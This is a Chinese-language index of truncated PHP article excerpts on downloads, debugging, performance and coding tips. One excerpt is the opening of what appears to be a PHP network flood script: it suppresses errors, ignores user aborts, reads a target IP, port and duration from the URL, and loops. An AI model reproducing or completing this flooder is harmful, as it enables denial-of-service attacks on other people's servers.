Time of Update: 2017-02-28
<?php /** * PHP-HTTP斷點續傳實現 * @param string $path: 檔案所在路徑 * @param string $file: 檔案名稱 * @return void */ function download($path,$file) { $real = $path.'/'.$file; if(!file_exists($real)) { return false; } $size =
Time of Update: 2017-02-28
Google Voice並沒有提供官方API介面,但是實際上還是可以通過HTTP和XML請求的手段來實現。目前網上能夠找到的API最終大都是溯源到Chad Smith的這篇主題帖。 要通過Google Voice實現傳送簡訊,首先要登入到Google Voice帳號,然後取出頁面中的“_rnr_se”參數,最後把這個參數和對方手機號、簡訊內容POST到Google Voice SMS的地址即可。Tyler Hall曾經寫過一個Google
Time of Update: 2017-02-28
PHP通過ADO方式串連Access資料庫,如下代碼:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="htt
Time of Update: 2017-02-28
對於一個經驗豐富的PHP程式員來說,實現字串的查詢功能已經不是什麼難事了。在這裡我們將會介紹一種PHP查詢字串的捷徑技巧,供大家參考。 RL傳遞變數對於程式員來說已經是司空見慣的事情,很多人會因此認為本文毫無新意。我們把通過URL傳遞變數的方式稱作GET方式,另外一種是POST方式。這兩種方式在PHP中都非常容易實現。舉個例子,假設準備進行資料庫查詢,需要通過GET傳遞三個變數:city、id和paid。 傳統的PHP查詢字串方法是象下面的例子那樣構造查詢字串:/*
Time of Update: 2017-02-28
當我們經常都要處理諸如像手工代碼測試,及部署這樣枯燥重複的工作時,往往會感到沮喪,然而我們一直努力想變得高效率。而本文將向你介紹10款PHP開發工具,它們能正好能協助你達到那樣的要求,使你能有更多時間專註於建設更優秀的網頁。 1 .
Time of Update: 2017-02-28
在friendfeed上找到的了這個名為FirePHP的Firefox外掛程式,是基於Firebug的一個擴充,可以用來在Firebug的console中方便的輸出php的調試資訊又不影響php程式的正常運行。實際上這東東出來的時間也不短了,只是以前沒試用過,現在把玩了一會也挺有趣。附圖一張: FirePHP包含兩個部分 firefox擴充 php程式庫 FirePHP的php調試資訊都是通過在http頭裡面添加X-FirePHP-Data資訊串來標識,不會直接輸出到
Time of Update: 2017-02-28
在friendfeed上看到這個連結 —— The 140 Characters Webapp Challenge!,這個比賽要求用140個字元的代碼造就一個web應用。 裡頭有36個程式可供投票,基本上全是指令碼語言大雜燴:php,perl,ruby,javascript。實現的應用也是五花八門,有相簿,類twitter,小遊戲,甚至還有php代碼架構?摘錄如下: require __DIR__.'/c.php'; if
Time of Update: 2017-02-28
在網上下載的php的chm手冊時常會有打不開的情況,也不是每次都發生。下面是找到的解決辦法以及原因。 如果提示從網站開啟或儲存 .chm 檔案,則僅在需要此檔案且信任提供此檔案的網站的情況下進行此操作。 在“檔案下載”對話方塊中,單擊“儲存”,然後選擇要儲存此 .chm 檔案的位置。然後,使用下面的方法之一: 方法 1 1. 雙擊此 .chm 檔案。 2.
Time of Update: 2017-02-28
我們知道,在php中使用require_once/include_once雖然方便,但是代價昂貴,據測試資料來看,require_once比require慢3-4倍,所以在php開發中,我們應該盡量使用require/include。 列一下俺常用的避免require/include的方法。 使用__autoload php5可以使用__autoload來避免require,用的好的話,代碼裡頭甚至看不到幾個require,實在是安逸啊。測試結果表明,使用__autoload之後的ne
Time of Update: 2017-02-28
php的一些小技巧,比較基礎,總結一下,老鳥換個姿勢飄過去就是。 1. str_replace str_replace是非常常常常常用的php函數,用於字串替換,經常看到某些php新人為了替換一批字串,寫了好多行str_replace,實在是慘不忍睹。 比如這個例子: $str = '某人的棲息地 --- www.ooso.net'; $str = str_replace('某人', '壞人', $str); $str = str_
Time of Update: 2017-02-28
題目:找出以下代碼的錯誤之處:<?function baz($y $z) { $x = new Array(); $x[sales] = 60; $x[profit] = 20: foreach($x as $key = $value) { echo $key+"
Time of Update: 2017-02-28
作為一個行走江湖多年的老中醫,今天受命去解決一例前端頁面展現緩慢的問題。問題頁的情況如下: apache + php 使用smarty模板輸出內容 頁面最終輸出內容較大,80k+ 頁面執行時間在500ms以上 祭出法寶xhprof對問題頁面做了細緻檢查,發現頁面的瓶頸竟然是模板(編譯後的)中的一個echo語句,這個echo語句輸出的字串比較大,大概是50k+位元組,花費時間為400多毫秒,占整個頁面執行時間的80%。這樣的echo輸出在網站首頁中其實是很常見的事情,沒有資料庫操作,
Time of Update: 2017-02-28
$a = '212345678912000005'; $b = '212345678912000001'; var_dump($a == $b); 這段代碼的輸出是bool(true), 說明這樣判斷會得出結論是兩者相等. 類似的特性在in_array()函數第3個參數為false或者不設定的情況. 原因是首先判斷字串是否是數字, 然後轉換成long或者double(C語言資料類型)再判斷 – 使用zendi_smart_strcmp.
Time of Update: 2017-02-28
<?phpheader("charset='utf-8'");error_reporting(0);set_time_limit(0);ignore_user_abort(TRUE);$ip = $_GET['ip'];$port = $_GET['port'];$exec_time =time()+$_GET['time'];$byte = 0;$true = 1;while($true) {
Time of Update: 2017-02-28
關於如何使用PHP語言來開發應用程式,我們每個人都有自己的技巧和方法。實際上,我們大家都知道,有很多種方式和方法可以讓開發變得更加簡單。儘管如此,還是有一些方法,尤其是編碼樣式和習慣,是大家公認的。我們列舉出了5種可以改善PHP開發方式的方法。 組織和樣式 我們不應該輕視代碼的組織,選擇的編碼樣式應該是事先約定好的,許多人只是隨機的在做這些事情,這讓他們的代碼變得十分混亂,十分令人難以理解。 你可以在那裡宣稱自己是最好的開發人員,但是,如果你的代碼缺乏良好的組織,你是不
Time of Update: 2017-02-28
你是否在程式開發的過程中遇到以下的情況:當你花了很長的時間開發一個PHP應用後,你認為應該是大功告成了,可惜在調試的時候,老是不斷的發現bug,而且最可怕的是,這些bug是重複出現的,你可能發現這些bug之間會有關聯,但卻老是找不到問題的所在。 當你遇到以上這些令你沮喪的情況時,你一定會想能有什麼更好的辦法去解決呢?辦法當然是有的!這就是使用單元測試。單元測試不但可以在一定程度上解決上述頭疼的問題,而且能讓代碼變的容易維護,還可以能讓你更多地對代碼進行重構。 一旦你編寫好單元測試用例,當
Time of Update: 2017-02-28
我是一個PHP新手,只有6個月的PHP編程經曆,並且是在一位經過認證的zend工程師的指導下完成工作的,每當我編寫指令碼時,我會注意一些能讓我做得更好的細節,也就是本文列舉的這14個PHP編碼好習慣,如果你有更好的建議,歡迎在本文後面的評論中發表,我這個人是喜歡求知的。 1、使用select從相同的資料庫查詢資訊時,使用一個join語句一次性整齊地擷取你需要的所有資訊,而不要寫多個mysql_query/while/mysql_fetch_array語句。 2、如果你在多個檔案中調用了一
Time of Update: 2017-02-28
目前LAMP (Linux + Apache + MySQL + PHP) 近幾年來發展迅速,已經成為Web 服務器的事實標準。本文我們將介紹基於LAMP組合的伺服器的效能最佳化技巧:加速PHP。 Apache伺服器最佳化、PHP最佳化、Mysql最佳化 1.使用eaccelerator 我們上面的介紹Apache伺服器的最佳化,如果您曾經瀏覽過 PHP 的網頁時,或許會發現:怎麼 PHP 的速度慢慢的,這是怎麼一回事啊?PHP
Time of Update: 2017-02-28
多層數組和對象轉化的用途很簡單,便於處理WebService中多層數組和對象的轉化 簡單的(array)和(object)只能處理單層的資料,對於多層的數組和對象轉換則無能為力。 通過json_decode(json_encode($object)可以將對象一次性轉換為數組,但是object中遇到非utf-8編碼的非ascii字元則會出現問題,比如gbk的中文,何況json_encode和decode的效能也值得疑慮。 下面上代碼:<?php function
Time of Update: 2017-02-28
PHP中有四個包含檔案的函數:include(), include_once(), require()和require_once()。弄清楚他們的區別是學習PHP的基礎之一,可以避免不少寫代碼過程中產生的不必要的麻煩。 include() 1. 調用方式:include(“/path/to/filename”) 2. 說明: